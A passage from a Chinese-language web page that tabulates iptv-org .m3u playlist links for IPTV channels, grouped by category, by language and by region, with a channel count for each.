style="text-align:left">文化</td><td style="text-align:left">105</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/culture.m3u</code></td></tr><tr><td style="text-align:left">纪录片</td><td style="text-align:left">68</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/documentary.m3u</code></td></tr><tr><td style="text-align:left">教育</td><td style="text-align:left">121</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/education.m3u</code></td></tr><tr><td style="text-align:left">娱乐</td><td style="text-align:left">438</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/entertainment.m3u</code></td></tr><tr><td style="text-align:left">家庭</td><td style="text-align:left">42</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/family.m3u</code></td></tr><tr><td style="text-align:left">一般</td><td style="text-align:left">1663</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/general.m3u</code></td></tr><tr><td style="text-align:left">儿童</td><td style="text-align:left">208</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/kids.m3u</code></td></tr><tr><td style="text-align:left">立法</td><td style="text-align:left">177</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/legislative.m3u</code></td></tr><tr><td style="text-align:left">生活</td><td style="text-align:left">85</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/lifestyle.m3u</code></td></tr><tr><td style="text-align:left">电影</td><td style="text-align:left">293</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/movies.m3u</code></td></tr><tr><td style="text-align:left">音乐</td><td style="text-align:left">596</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/music.m3u</code></td></tr><tr><td style="text-align:left">新闻</td><td style="text-align:left">829</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/news.m3u</code></td></tr><tr><td style="text-align:left">户外</td><td style="text-align:left">51</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/outdoor.m3u</code></td></tr><tr><td style="text-align:left">轻松</td><td style="text-align:left">5</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/relax.m3u</code></td></tr><tr><td style="text-align:left">宗教</td><td style="text-align:left">611</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/religious.m3u</code></td></tr><tr><td style="text-align:left">科学</td><td style="text-align:left">25</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/science.m3u</code></td></tr><tr><td style="text-align:left">系列</td><td style="text-align:left">169</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/series.m3u</code></td></tr><tr><td style="text-align:left">购物</td><td style="text-align:left">84</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/shop.m3u</code></td></tr><tr><td style="text-align:left">体育</td><td style="text-align:left">211</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/sports.m3u</code></td></tr><tr><td style="text-align:left">旅行</td><td style="text-align:left">37</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/travel.m3u</code></td></tr><tr><td style="text-align:left">天气</td><td style="text-align:left">13</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/weather.m3u</code></td></tr><tr><td style="text-align:left">成人</td><td style="text-align:left">0</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/xxx.m3u</code></td></tr><tr><td style="text-align:left">综合</td><td style="text-align:left">4790</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/undefined.m3u</code></td></tr></tbody></table><h2 id="按照语言划分">按照语言划分</h2><p>总的:<a href="https://iptv-org.github.io/iptv/index.language.m3u">https://iptv-org.github.io/iptv/index.language.m3u</a></p><table><thead><tr><th style="text-align:left">分类</th><th style="text-align:left">频道数</th><th style="text-align:left">播放地址</th></tr></thead><tbody><tr><td style="text-align:left">Afghan Persian</td><td style="text-align:left">5</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/prs.m3u</code></td></tr><tr><td style="text-align:left">Afrikaans</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/afr.m3u</code></td></tr><tr><td style="text-align:left">Albanian</td><td style="text-align:left">61</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/sqi.m3u</code></td></tr><tr><td style="text-align:left">Alemannic</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/gsw.m3u</code></td></tr><tr><td style="text-align:left">Amharic</td><td style="text-align:left">11</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/amh.m3u</code></td></tr><tr><td style="text-align:left">Arabic</td><td style="text-align:left">401</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ara.m3u</code></td></tr><tr><td style="text-align:left">Armenian</td><td style="text-align:left">22</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hye.m3u</code></td></tr><tr><td style="text-align:left">Assamese</td><td style="text-align:left">7</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/asm.m3u</code></td></tr><tr><td style="text-align:left">Assyrian Neo-Aramaic</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/aii.m3u</code></td></tr><tr><td style="text-align:left">Aymara</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/aym.m3u</code></td></tr><tr><td style="text-align:left">Azerbaijani</td><td style="text-align:left">24</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/aze.m3u</code></td></tr><tr><td style="text-align:left">Bashkir</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/bak.m3u</code></td></tr><tr><td style="text-align:left">Basque</td><td style="text-align:left">8</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/eus.m3u</code></td></tr><tr><td style="text-align:left">Belarusian</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/bel.m3u</code></td></tr><tr><td style="text-align:left">Bengali</td><td style="text-align:left">81</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ben.m3u</code></td></tr><tr><td style="text-align:left">Bhojpuri</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/bho.m3u</code></td></tr><tr><td style="text-align:left">Bosnian</td><td style="text-align:left">13</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/bos.m3u</code></td></tr><tr><td style="text-align:left">Bulgarian</td><td style="text-align:left">36</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/bul.m3u</code></td></tr><tr><td style="text-align:left">Burmese</td><td style="text-align:left">20</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mya.m3u</code></td></tr><tr><td style="text-align:left">Catalan</td><td style="text-align:left">53</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/cat.m3u</code></td></tr><tr><td style="text-align:left">Central Kurdish</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ckb.m3u</code></td></tr><tr><td style="text-align:left">Chhattisgarhi</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hne.m3u</code></td></tr><tr><td style="text-align:left">Chinese</td><td style="text-align:left">154</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/zho.m3u</code></td></tr><tr><td style="text-align:left">Croatian</td><td style="text-align:left">20</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hrv.m3u</code></td></tr><tr><td style="text-align:left">Czech</td><td style="text-align:left">36</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ces.m3u</code></td></tr><tr><td style="text-align:left">Danish</td><td style="text-align:left">22</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/dan.m3u</code></td></tr><tr><td style="text-align:left">Dhanwar (Nepal)</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/dhw.m3u</code></td></tr><tr><td style="text-align:left">Dhivehi</td><td style="text-align:left">4</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/div.m3u</code></td></tr><tr><td style="text-align:left">Dholuo</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/luo.m3u</code></td></tr><tr><td style="text-align:left">Dimili</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/zza.m3u</code></td></tr><tr><td style="text-align:left">Dutch</td><td style="text-align:left">204</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/nld.m3u</code></td></tr><tr><td style="text-align:left">English</td><td style="text-align:left">2200</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/eng.m3u</code></td></tr><tr><td style="text-align:left">Estonian</td><td style="text-align:left">10</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/est.m3u</code></td></tr><tr><td style="text-align:left">Ewe</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ewe.m3u</code></td></tr><tr><td style="text-align:left">Faroese</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/fao.m3u</code></td></tr><tr><td style="text-align:left">Fataleka</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/far.m3u</code></td></tr><tr><td style="text-align:left">Finnish</td><td style="text-align:left">30</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/fin.m3u</code></td></tr><tr><td style="text-align:left">French</td><td style="text-align:left">472</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/fra.m3u</code></td></tr><tr><td style="text-align:left">Galician</td><td style="text-align:left">15</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/glg.m3u</code></td></tr><tr><td style="text-align:left">Galolen</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/gal.m3u</code></td></tr><tr><td style="text-align:left">Georgian</td><td style="text-align:left">9</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kat.m3u</code></td></tr><tr><td style="text-align:left">German</td><td style="text-align:left">290</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/deu.m3u</code></td></tr><tr><td style="text-align:left">Gikuyu</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kik.m3u</code></td></tr><tr><td style="text-align:left">Goan Konkani</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/gom.m3u</code></td></tr><tr><td style="text-align:left">Greek</td><td style="text-align:left">133</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ell.m3u</code></td></tr><tr><td style="text-align:left">Greenlandic</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kal.m3u</code></td></tr><tr><td style="text-align:left">Gujarati</td><td style="text-align:left">11</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/guj.m3u</code></td></tr><tr><td style="text-align:left">Haitian</td><td style="text-align:left">5</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hat.m3u</code></td></tr><tr><td style="text-align:left">Hausa</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hau.m3u</code></td></tr><tr><td style="text-align:left">Hebrew</td><td style="text-align:left">14</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/heb.m3u</code></td></tr><tr><td style="text-align:left">Hindi</td><td style="text-align:left">178</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hin.m3u</code></td></tr><tr><td style="text-align:left">Hungarian</td><td style="text-align:left">110</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hun.m3u</code></td></tr><tr><td style="text-align:left">Icelandic</td><td style="text-align:left">5</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/isl.m3u</code></td></tr><tr><td style="text-align:left">Indonesian</td><td style="text-align:left">149</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ind.m3u</code></td></tr><tr><td style="text-align:left">Inuktitut</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/iku.m3u</code></td></tr><tr><td style="text-align:left">Iranian Persian</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/pes.m3u</code></td></tr><tr><td style="text-align:left">Irish</td><td style="text-align:left">5</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/gle.m3u</code></td></tr><tr><td style="text-align:left">Isekiri</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/its.m3u</code></td></tr><tr><td style="text-align:left">Italian</td><td style="text-align:left">333</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ita.m3u</code></td></tr><tr><td style="text-align:left">Japanese</td><td style="text-align:left">98</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/jpn.m3u</code></td></tr><tr><td style="text-align:left">Javanese</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/jav.m3u</code></td></tr><tr><td style="text-align:left">Kannada</td><td style="text-align:left">19</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kan.m3u</code></td></tr><tr><td style="text-align:left">Kazakh</td><td style="text-align:left">30</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kaz.m3u</code></td></tr><tr><td style="text-align:left">Khmer</td><td style="text-align:left">13</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/khm.m3u</code></td></tr><tr><td style="text-align:left">Kinyarwanda</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kin.m3u</code></td></tr><tr><td style="text-align:left">Kirghiz</td><td style="text-align:left">13</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kir.m3u</code></td></tr><tr><td style="text-align:left">Konkani (macrolanguage)</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kok.m3u</code></td></tr><tr><td style="text-align:left">Korean</td><td style="text-align:left">110</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kor.m3u</code></td></tr><tr><td style="text-align:left">Kurdish</td><td style="text-align:left">26</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kur.m3u</code></td></tr><tr><td style="text-align:left">Lahnda</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/lah.m3u</code></td></tr><tr><td style="text-align:left">Lao</td><td style="text-align:left">15</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/lao.m3u</code></td></tr><tr><td style="text-align:left">Latin</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/lat.m3u</code></td></tr><tr><td style="text-align:left">Latvian</td><td style="text-align:left">13</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/lav.m3u</code></td></tr><tr><td style="text-align:left">Letzeburgesch</td><td style="text-align:left">9</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ltz.m3u</code></td></tr><tr><td style="text-align:left">Lingala</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/lin.m3u</code></td></tr><tr><td style="text-align:left">Lithuanian</td><td style="text-align:left">8</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/lit.m3u</code></td></tr><tr><td style="text-align:left">Macedonian</td><td style="text-align:left">34</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mkd.m3u</code></td></tr><tr><td style="text-align:left">Malay</td><td style="text-align:left">19</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/msa.m3u</code></td></tr><tr><td style="text-align:left">Malayalam</td><td style="text-align:left">74</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mal.m3u</code></td></tr><tr><td style="text-align:left">Maltese</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mlt.m3u</code></td></tr><tr><td style="text-align:left">Mandarin Chinese</td><td style="text-align:left">5</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/cmn.m3u</code></td></tr><tr><td style="text-align:left">Maori</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mri.m3u</code></td></tr><tr><td style="text-align:left">Marathi</td><td style="text-align:left">17</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mar.m3u</code></td></tr><tr><td style="text-align:left">Min Nan Chinese</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/nan.m3u</code></td></tr><tr><td style="text-align:left">Mongolian</td><td style="text-align:left">21</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/mon.m3u</code></td></tr><tr><td style="text-align:left">Montenegrin</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/cnr.m3u</code></td></tr><tr><td style="text-align:left">Mycenaean Greek</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/gmy.m3u</code></td></tr><tr><td style="text-align:left">Nepali</td><td style="text-align:left">16</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/nep.m3u</code></td></tr><tr><td style="text-align:left">Northern Kurdish</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/kmr.m3u</code></td></tr><tr><td style="text-align:left">Norwegian</td><td style="text-align:left">9</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/nor.m3u</code></td></tr><tr><td style="text-align:left">Norwegian Bokmål</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/nob.m3u</code></td></tr><tr><td style="text-align:left">Oriya (macrolanguage)</td><td style="text-align:left">8</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ori.m3u</code></td></tr><tr><td style="text-align:left">Panjabi</td><td style="text-align:left">27</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/pan.m3u</code></td></tr><tr><td style="text-align:left">Papiamento</td><td style="text-align:left">11</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/pap.m3u</code></td></tr><tr><td style="text-align:left">Parsi-Dari</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/prd.m3u</code></td></tr><tr><td style="text-align:left">Pashto</td><td style="text-align:left">20</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/pus.m3u</code></td></tr><tr><td style="text-align:left">Persian</td><td style="text-align:left">111</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/fas.m3u</code></td></tr><tr><td style="text-align:left">Polish</td><td style="text-align:left">39</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/pol.m3u</code></td></tr><tr><td style="text-align:left">Portuguese</td><td style="text-align:left">377</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/por.m3u</code></td></tr><tr><td style="text-align:left">Quechua</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/que.m3u</code></td></tr><tr><td style="text-align:left">Romanian</td><td style="text-align:left">127</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ron.m3u</code></td></tr><tr><td style="text-align:left">Romany</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/rom.m3u</code></td></tr><tr><td style="text-align:left">Russian</td><td style="text-align:left">337</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/rus.m3u</code></td></tr><tr><td style="text-align:left">Saint Lucian Creole French</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/acf.m3u</code></td></tr><tr><td style="text-align:left">Santali</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/sat.m3u</code></td></tr><tr><td style="text-align:left">Serbian</td><td style="text-align:left">57</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/srp.m3u</code></td></tr><tr><td style="text-align:left">Serbo-Croatian</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/hbs.m3u</code></td></tr><tr><td style="text-align:left">Sindhi</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/snd.m3u</code></td></tr><tr><td style="text-align:left">Sinhala</td><td style="text-align:left">11</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/sin.m3u</code></td></tr><tr><td style="text-align:left">Slovak</td><td style="text-align:left">47</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/slk.m3u</code></td></tr><tr><td style="text-align:left">Slovenian</td><td style="text-align:left">17</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/slv.m3u</code></td></tr><tr><td style="text-align:left">Somali</td><td style="text-align:left">9</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/som.m3u</code></td></tr><tr><td style="text-align:left">Southern Kurdish</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/sdh.m3u</code></td></tr><tr><td style="text-align:left">Spanish</td><td style="text-align:left">2227</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/spa.m3u</code></td></tr><tr><td style="text-align:left">Swahili</td><td style="text-align:left">20</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/swa.m3u</code></td></tr><tr><td style="text-align:left">Swedish</td><td style="text-align:left">20</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/swe.m3u</code></td></tr><tr><td style="text-align:left">Tagalog</td><td style="text-align:left">20</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tgl.m3u</code></td></tr><tr><td style="text-align:left">Tajik</td><td style="text-align:left">16</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tgk.m3u</code></td></tr><tr><td style="text-align:left">Tamil</td><td style="text-align:left">69</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tam.m3u</code></td></tr><tr><td style="text-align:left">Tatar</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tat.m3u</code></td></tr><tr><td style="text-align:left">Telugu</td><td style="text-align:left">33</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tel.m3u</code></td></tr><tr><td style="text-align:left">Tetum</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tet.m3u</code></td></tr><tr><td style="text-align:left">Thai</td><td style="text-align:left">75</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tha.m3u</code></td></tr><tr><td style="text-align:left">Tibetan</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/bod.m3u</code></td></tr><tr><td style="text-align:left">Tigrinya</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tir.m3u</code></td></tr><tr><td style="text-align:left">Turkish</td><td style="text-align:left">216</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tur.m3u</code></td></tr><tr><td style="text-align:left">Turkmen</td><td style="text-align:left">7</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/tuk.m3u</code></td></tr><tr><td style="text-align:left">Uighur</td><td style="text-align:left">3</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/uig.m3u</code></td></tr><tr><td style="text-align:left">Ukrainian</td><td style="text-align:left">84</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/ukr.m3u</code></td></tr><tr><td style="text-align:left">Urdu</td><td style="text-align:left">59</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/urd.m3u</code></td></tr><tr><td style="text-align:left">Uzbek</td><td style="text-align:left">18</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/uzb.m3u</code></td></tr><tr><td style="text-align:left">Vietnamese</td><td style="text-align:left">75</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/vie.m3u</code></td></tr><tr><td style="text-align:left">Welsh</td><td style="text-align:left">2</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/cym.m3u</code></td></tr><tr><td style="text-align:left">Western Frisian</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/fry.m3u</code></td></tr><tr><td style="text-align:left">Wolof</td><td style="text-align:left">4</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/wol.m3u</code></td></tr><tr><td style="text-align:left">Yucatec Maya</td><td style="text-align:left">1</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/yua.m3u</code></td></tr><tr><td style="text-align:left">Yue Chinese</td><td style="text-align:left">9</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/yue.m3u</code></td></tr><tr><td style="text-align:left">Undefined</td><td style="text-align:left">1304</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/languages/undefined.m3u</code></td></tr></tbody></table><h2 id="按照地区划分">按照地区划分</h2><p>总的 <a href="https://iptv-org.github.io/iptv/index.region.m3u">https://iptv-org.github.io/iptv/index.region.m3u</a></p><table><thead><tr><th>地区</th><th>频道数</th><th>播放列表链接</th></tr></thead><tbody><tr><td>非洲</td><td>545</td><td><a href="https://iptv-org.github.io/iptv/regions/afr.m3u">https://iptv-org.github.io/iptv/regions/afr.m3u</a></td></tr><tr><td>美洲</td><td>4134</td><td><a href="https://iptv-org.github.io/iptv/regions/amer.m3u">https://iptv-org.github.io/iptv/regions/amer.m3u</a></td></tr><tr><td>阿拉伯世界</td><td>402</td><td><a href="https://iptv-org.github.io/iptv/regions/arab.m3u">https://iptv-org.github.io/iptv/regions/arab.m3u</a></td></tr><tr><td>亚洲</td><td>3014</td><td><a href="https://iptv-org.github.io/iptv/regions/asia.m3u">https://iptv-org.github.io/iptv/regions/asia.m3u</a></td></tr><tr><td>亚太地区</td><td>2046</td><td><a href="https://iptv-org.github.io/iptv/regions/apac.m3u">https://iptv-org.github.io/iptv/regions/apac.m3u</a></td></tr><tr><td>东南亚国家联盟</td><td>400</td><td><a href="https://iptv-org.github.io/iptv/regions/asean.m3u">https://iptv-org.github.io/iptv/regions/asean.m3u</a></td></tr><tr><td>巴尔干</td><td>667</td><td><a href="https://iptv-org.github.io/iptv/regions/balkan.m3u">https://iptv-org.github.io/iptv/regions/balkan.m3u</a></td></tr><tr><td>本努勒斯</td><td>245</td><td><a href="https://iptv-org.github.io/iptv/regions/benelux.m3u">https://iptv-org.github.io/iptv/regions/benelux.m3u</a></td></tr><tr><td>加勒比海</td><td>274</td><td><a href="https://iptv-org.github.io/iptv/regions/carib.m3u">https://iptv-org.github.io/iptv/regions/carib.m3u</a></td></tr><tr><td>中美洲</td><td>333</td><td><a href="https://iptv-org.github.io/iptv/regions/cenamer.m3u">https://iptv-org.github.io/iptv/regions/cenamer.m3u</a></td></tr><tr><td>中东欧</td><td>1045</td><td><a href="https://iptv-org.github.io/iptv/regions/cee.m3u">https://iptv-org.github.io/iptv/regions/cee.m3u</a></td></tr><tr><td>中亚</td><td>82</td><td><a href="https://iptv-org.github.io/iptv/regions/cas.m3u">https://iptv-org.github.io/iptv/regions/cas.m3u</a></td></tr><tr><td>独联体</td><td>459</td><td><a href="https://iptv-org.github.io/iptv/regions/cis.m3u">https://iptv-org.github.io/iptv/regions/cis.m3u</a></td></tr><tr><td>欧洲</td><td>3324</td><td><a href="https://iptv-org.github.io/iptv/regions/eur.m3u">https://iptv-org.github.io/iptv/regions/eur.m3u</a></td></tr><tr><td>欧洲、中东和非洲</td><td>4209</td><td><a href="https://iptv-org.github.io/iptv/regions/emea.m3u">https://iptv-org.github.io/iptv/regions/emea.m3u</a></td></tr><tr><td>欧盟</td><td>2222</td><td><a href="https://iptv-org.github.io/iptv/regions/eu.m3u">https://iptv-org.github.io/iptv/regions/eu.m3u</a></td></tr><tr><td>西班牙美洲</td><td>1836</td><td><a href="https://iptv-org.github.io/iptv/regions/hispam.m3u">https://iptv-org.github.io/iptv/regions/hispam.m3u</a></td></tr><tr><td>拉丁美洲</td><td>2143</td><td><a href="https://iptv-org.github.io/iptv/regions/latam.m3u">https://iptv-org.github.io/iptv/regions/latam.m3u</a></td></tr><tr><td>拉丁美洲和加勒比海</td><td>2173</td><td><a href="https://iptv-org.github.io/iptv/regions/lac.m3u">https://iptv-org.github.io/iptv/regions/lac.m3u</a></td></tr><tr><td>马格里布</td><td>60</td><td><a href="https://iptv-org.github.io/iptv/regions/maghreb.m3u">https://iptv-org.github.io/iptv/regions/maghreb.m3u</a></td></tr><tr><td>中东</td><td>661</td><td><a href="https://iptv-org.github.io/iptv/regions/mideast.m3u">https://iptv-org.github.io/iptv/regions/mideast.m3u</a></td></tr><tr><td>中东和北非</td><td>712</td><td><a href="https://iptv-org.github.io/iptv/regions/mena.m3u">https://iptv-org.github.io/iptv/regions/mena.m3u</a></td></tr><tr><td>北欧</td><td>101</td><td><a href="https://iptv-org.github.io/iptv/regions/nord.m3u">https://iptv-org.github.io/iptv/regions/nord.m3u</a></td></tr><tr><td>北美洲</td><td>2781</td><td><a href="https://iptv-org.github.io/iptv/regions/noram.m3u">https://iptv-org.github.io/iptv/regions/noram.m3u</a></td></tr><tr><td>北美</td><td>1958</td><td><a href="https://iptv-org.github.io/iptv/regions/nam.m3u">https://iptv-org.github.io/iptv/regions/nam.m3u</a></td></tr><tr><td>北欧</td><td>137</td><td><a 